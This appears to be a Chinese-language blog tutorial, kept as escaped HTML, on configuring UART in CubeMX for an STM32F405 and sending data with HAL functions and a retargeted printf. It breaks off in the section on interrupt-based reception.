href=\"#UART简介\" class=\"headerlink\" title=\"UART简介\"\u003e\u003c/a\u003eUART简介\u003c/h2\u003e\u003cp\u003e嵌入式开发中,UART串口通信协议是我们常用的通信协议(UART、I2C、SPI等)之一,全称叫做通用异步收发传输器(Universal Asynchronous Receiver\u0026#x2F;Transmitter),是 \u003cstrong\u003e异步串口通信协议\u003c/strong\u003e 的一种,工作原理是将传输数据的每个字符一位接一位地传输,它能将要传输的资料在串行通信与并行通信之间加以转换,能够灵活地与外部设备进行全双工数据交换。\u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eUSART\u003c/strong\u003e 相当于UART的升级版,USART支持同步模式,因此USART 需要同步始终信号USART_CK(如STM32 单片机),通常情况同步信号很少使用,因此一般的单片机UART和USART使用方式是一样的,都使用异步模式。因为USART的使用方法上跟UART基本相同,所以在此就 \u003cstrong\u003e以UART\u003c/strong\u003e 来讲该通信协议了。\u003c/p\u003e\u003ch2 id=\"UART功能说明\"\u003e\u003ca href=\"#UART功能说明\" class=\"headerlink\" title=\"UART功能说明\"\u003e\u003c/a\u003eUART功能说明\u003c/h2\u003e\u003cp\u003e接口通过三个引脚从外部连接到其它设备。任何 USART 双向通信均需要 至少两个引脚:接收数据输入引脚 (RX) 和发送数据引脚输出 (TX):\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e两个系统的GND必须连在一起\u003c/strong\u003e(因为需要有相同的参考电位)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eRX:\u003c/strong\u003e接收数据输入引脚就是串行数据输入引脚。过采样技术可区分有效输入数据和噪声,从而用于恢复数据。\u003cbr\u003e\u003cstrong\u003eTX:\u003c/strong\u003e发送数据输出引脚。如果关闭发送器,该输出引脚模式由其 I\u0026#x2F;O 端口配置决定。如果使 能了发送器但没有待发送的数据,则 TX 引脚处于高电平。在单线和智能卡模式下,该 I\u0026#x2F;O 用于发送和接收数据(USART 电平下,随后在 SW_RX 上接收数据)。\u003c/p\u003e\u003chr\u003e\u003cp\u003e具体原理留个坑,先大概了解到这,这次主要是通过 \u003cstrong\u003eCubeMX\u003c/strong\u003e 使用UART进行通信~\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003chr\u003e\u003ch2 id=\"波特率\"\u003e\u003ca href=\"#波特率\" class=\"headerlink\" title=\"波特率\"\u003e\u003c/a\u003e波特率\u003c/h2\u003e\u003cp\u003e波特率的单位是 \u003cstrong\u003eBits\u0026#x2F;s\u003c/strong\u003e,很好理解, \u003cstrong\u003e每一位的传输时间\u003c/strong\u003e 。这个参数决定了串口传输数据的速度,115200,这是串口常用的波特率里很快的一个速度了,但是计算一下,11.5kbits\u0026#x2F;s,除以8换算成字节,也就是不到2kBytes\u0026#x2F;s,每秒传输一千多个字节的数据,就是这样一个速度了——比较老的USB2.0的U盘拷贝文件的速度大概在几个MBytes到十几MBytes每秒之间,对比一下可见串口这玩意确实是一个在速度上十分落后的通信接口了。\u003c/p\u003e\u003cp\u003e如何计算?比如我们的波特率是9600,那么每一位传输的时间是1\u0026#x2F;9600 s,意思就是说如果接连不断地发送数据帧,按照11bit长度计算,1秒钟可以发送9600\u0026#x2F;11\u0026#x3D;872.7,也就是差不多872个数据帧,也就是872字节。按照ASCII字母来说,872个英文字母\u0026#x2F;s,够直观了8~\u003c/p\u003e\u003ch2 id=\"CubeMX配置\"\u003e\u003ca href=\"#CubeMX配置\" class=\"headerlink\" title=\"CubeMX配置\"\u003e\u003c/a\u003eCubeMX配置\u003c/h2\u003e\u003cp\u003e本次使用 STM32F405RGT6\u003c/p\u003e\u003ch3 id=\"配置时钟\"\u003e\u003ca href=\"#配置时钟\" class=\"headerlink\" title=\"配置时钟\"\u003e\u003c/a\u003e配置时钟\u003c/h3\u003e\u003cp\u003e选择外部晶振,然后时钟拉到最高~\u003c/p\u003e\u003cp\u003e)用一张之前的图,意思差不多\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/0.webp\" style=\"zoom:80%;\" /\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\" alt=\"4\"\u003e\u003c/p\u003e\u003ch4 id=\"设置调试接口\"\u003e\u003ca href=\"#设置调试接口\" class=\"headerlink\" title=\"设置调试接口\"\u003e\u003c/a\u003e设置调试接口\u003c/h4\u003e\u003cp\u003e)照着参考链接来\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/uart/0.webp\"\u003e\u003c/p\u003e\u003ch3 id=\"配置串口\"\u003e\u003ca href=\"#配置串口\" class=\"headerlink\" title=\"配置串口\"\u003e\u003c/a\u003e配置串口\u003c/h3\u003e\u003cp\u003e先启用,选择异步通信;然后波特率保持默认的 115200 就行\u003c/p\u003e\u003cimg src=\"/img/posts/uart/1.webp\" alt=\"1\" /\u003e\u003ch3 id=\"选择生成必要的代码\"\u003e\u003ca href=\"#选择生成必要的代码\" class=\"headerlink\" title=\"选择生成必要的代码\"\u003e\u003c/a\u003e选择生成必要的代码\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"/img/posts/uart/2.webp\" alt=\"2\"\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e1.Copy all used libraries into the project folder\u003c/p\u003e\u003cp\u003e将所有使用过的库复制到项目文件夹中。\u003c/p\u003e\u003cp\u003e不管你用,还是没有用到,都拷贝到你工程目录下。这样一来,你工程下文件就比较多。\u003c/p\u003e\u003cp\u003e2.Copy only the necessary library files \u003c/p\u003e\u003cp\u003e只复制必要的库文件。\u003c/p\u003e\u003cp\u003e这个相比上一个减少了很多文件。比如你没有使用CAN、SPI…等外设,就不会拷贝相关库文件到你工程下。\u003c/p\u003e\u003cp\u003e3.Add necessary library files as reference in the toolchain project configuration file \u003c/p\u003e\u003cp\u003e在工具链项目配置文件中添加必要的库文件作为参考。\u003c/p\u003e\u003cp\u003e这里没有复制HAL库文件,只添加了必要文件(如main.c)。相比上面,没有Drivers相关文件。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eGenerate peripheral initialization as a pair of’.c\u0026#x2F;.h’ files per peripheral\u003c/p\u003e\u003cp\u003e每个外设生成独立的’.c\u0026#x2F;.h’文件\u003c/p\u003e\u003cp\u003e不勾:所有初始化代码都生成在main.c\u003c/p\u003e\u003cp\u003e勾选:初始化代码生成在对应的外设文件。 如UART初始化代码生成在uart.c中。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e)其他配置啥的可以上网搜搜具体意思\u003c/p\u003e\u003ch2 id=\"UART-发送\"\u003e\u003ca href=\"#UART-发送\" class=\"headerlink\" title=\"UART 发送\"\u003e\u003c/a\u003eUART 发送\u003c/h2\u003e\u003cp\u003e主要使用到的函数为\u003c/p\u003e\u003cp\u003e在 \u003ccode\u003estm32f4xx_hal_uart.c\u003c/code\u003e 中\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003eHAL_StatusTypeDef \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehuart\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cul\u003e\u003cli\u003ehuart :选择用来发送的UART串口\u003c/li\u003e\u003cli\u003epData :指向将要发送的数据的指针\u003c/li\u003e\u003cli\u003eSize :发送数据的大小\u003c/li\u003e\u003cli\u003eTimeout:超时时间\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch3 id=\"直接发送\"\u003e\u003ca href=\"#直接发送\" class=\"headerlink\" title=\"直接发送\"\u003e\u003c/a\u003e直接发送\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e定义一个数组\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//数组内十六进制代表“ABCDE”\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e调用函数发送\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// UART发送,使用打开的第一个端口,发送定义的数组里的字符\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 延迟1s\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"自己写发送函数\"\u003e\u003ca href=\"#自己写发送函数\" class=\"headerlink\" title=\"自己写发送函数\"\u003e\u003c/a\u003e自己写发送函数\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e前面的发送方式,不仅要传入句柄参数,还有数组、长度、超时时间参数。\u003c/p\u003e\u003cp\u003e为了简便发送,我们可以专门写一个字符串发送函数,可以直接传入一个数组即可发送,可以更简便地实现字符串发送。\u003c/p\u003e\u003cp\u003e优点是,发送数据更简便,能够一次性发送很长的数据数组。\u003c/p\u003e\u003cp\u003e但缺点就是不能控制发送的长度,会将整个数据数组发出。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e具体实现方式可以在参考链接中找到~\u003c/p\u003e\u003ch3 id=\"使用-printf-函数发送\"\u003e\u003ca href=\"#使用-printf-函数发送\" class=\"headerlink\" title=\"使用 printf() 函数发送\"\u003e\u003c/a\u003e使用 printf() 函数发送\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e好好好好好好好好好好好好好好好好好好\u003c/del\u003e\u003c/p\u003e\u003cp\u003e首先打开 \u003ccode\u003eusart.c\u003c/code\u003e,然后添加头文件 \u003ccode\u003e#include \u0026quot;stdio.h\u0026quot;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e再加入\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eifdef\u003c/span\u003e \u003cspan class=\"token expression\"\u003e__GNUC__\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* With GCC/RAISONANCE, small printf (option LD Linker-\u003eLibraries-\u003eSmall printf set to 'Yes') calls __io_putchar() */\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003e__io_putchar\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e \u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003ePUTCHAR_PROTOTYPE\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003efputc\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e FILE \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ef\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* __GNUC__ */\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/** * @brief Retargets the C library printf function to the USART. * @param None * @retval None */\u003c/span\u003ePUTCHAR_PROTOTYPE\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* Place your implementation of fputc here */\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* e.g. write a character to the EVAL_COM1 and Loop until the end of transmission */\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ech\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e ch\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/* USER CODE END 1 */\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后再到 \u003ccode\u003emain.c\u003c/code\u003e 中添加头文件 \u003ccode\u003e#include \u0026quot;stdio.h\u0026quot;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e然后就能愉快的用 \u003ccode\u003eprintf()\u003c/code\u003e 了~\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"Hello World!\\n\\r\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"具体效果\"\u003e\u003ca href=\"#具体效果\" class=\"headerlink\" title=\"具体效果\"\u003e\u003c/a\u003e具体效果\u003c/h3\u003e\u003cp\u003e)用这个板子是因为上面已经有 \u003ccode\u003eCH340\u003c/code\u003e 这个芯片了,电脑上装好驱动可以直接用~\u003c/p\u003e\u003cp\u003e如果莫得的话,买一个 \u003ccode\u003eUSB 转 TTL 模块\u003c/code\u003e 就行,几块钱~\u003c/p\u003e\u003cp\u003e主要代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数组内十六进制代表 ABCDE\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x41\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x42\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x43\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x45\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 直接发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehuart1\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003esizeof\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003euTx_Data\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xffff\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 使用 printf 发送\u003c/span\u003e \u003cspan class=\"token function\"\u003eprintf\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"Hello World!\\n\\r\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后连上,打开串口助手,打开串口\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/posts/uart/3.gif\" alt=\"3\"\u003e\u003c/p\u003e\u003ch2 id=\"UART-接收\"\u003e\u003ca href=\"#UART-接收\" class=\"headerlink\" title=\"UART 接收\"\u003e\u003c/a\u003eUART 接收\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e)等我学完\u003c/del\u003e \u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e在之前文件的基础上,打开串口中断\u003c/p\u003e\u003cimg src=\"/img/posts/uart/4.webp\" alt=\"4\" style=\"zoom:50%;\" /\u003e\u003cp\u003e如果开启了其他中断,要顺便设置一下中断优先级,如果没有默认即可\u003c/p\u003e\u003cimg src=\"/img/posts/uart/5.webp\" alt=\"5\" style=\"zoom:67%;\" /\u003e\u003cp\u003e生成代码。\u003c/p\u003e\u003ch3 id=\"函数说明\"\u003e\u003ca href=\"#函数说明\" class=\"headerlink\" title=\"函数说明\"\u003e\u003c/a\u003e函数说明\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e中断处理函数 \u003ccode\u003evoid USART1_IRQHandler(void)\u003c/code\u003e ,在 \u003ccode\u003estm32f4xx_it.c\u003c/code\u003e 中;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Transmit\u003c/code\u003e ,用来发送数据;\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eHAL库函数 \u003ccode\u003eHAL_UART_Receive\u003c/code\u003e ,用来接收函数\u003c/p\u003e\u003cp\u003e该函数能够通过huart串口接收Size位pData数据。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e参数说明:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ehuart\u003c/code\u003e :选择用来接收的UART串口\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003epData\u003c/code\u003e :指向将要存放数据的指针\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eSize\u003c/code\u003e :接收数据的大小\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eTimeout\u003c/code\u003e :超时时间\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"接收方式\"\u003e\u003ca href=\"#接收方式\" class=\"headerlink\" title=\"接收方式\"\u003e\u003c/a\u003e接收方式\u003c/h3\u003e\u003cp\u003e接收方式大概有三种,大致是\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e直接接收\u003c/p\u003e\u003cp\u003e这种方式为在 \u003ccode\u003ewhile\u003c/code\u003e 循环中不断判断是否接收成功,\u003cstrong\u003e会严重占用程序的进程\u003c/strong\u003e ,且接收较长的数据时,会发生接收错误。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e中断接收,接收一位发送一位\u003c/p\u003e\u003cp\u003e使用中断可以很大程度的避免不必要的资源浪费。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e在没有什么特别事件的时候,单片机会按照原本的程序运行着,等到有数据从UART串口发送过来时,会马上进入UART串口的中断处理函数中,完成相应的中断处理操作,完成后会退出中断函数,并继续原本在进行的程序,这样就不会占用单片机程序太多的进程了。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e但仍会发生前面直接接收方式的接收异常状况\u003c/strong\u003e 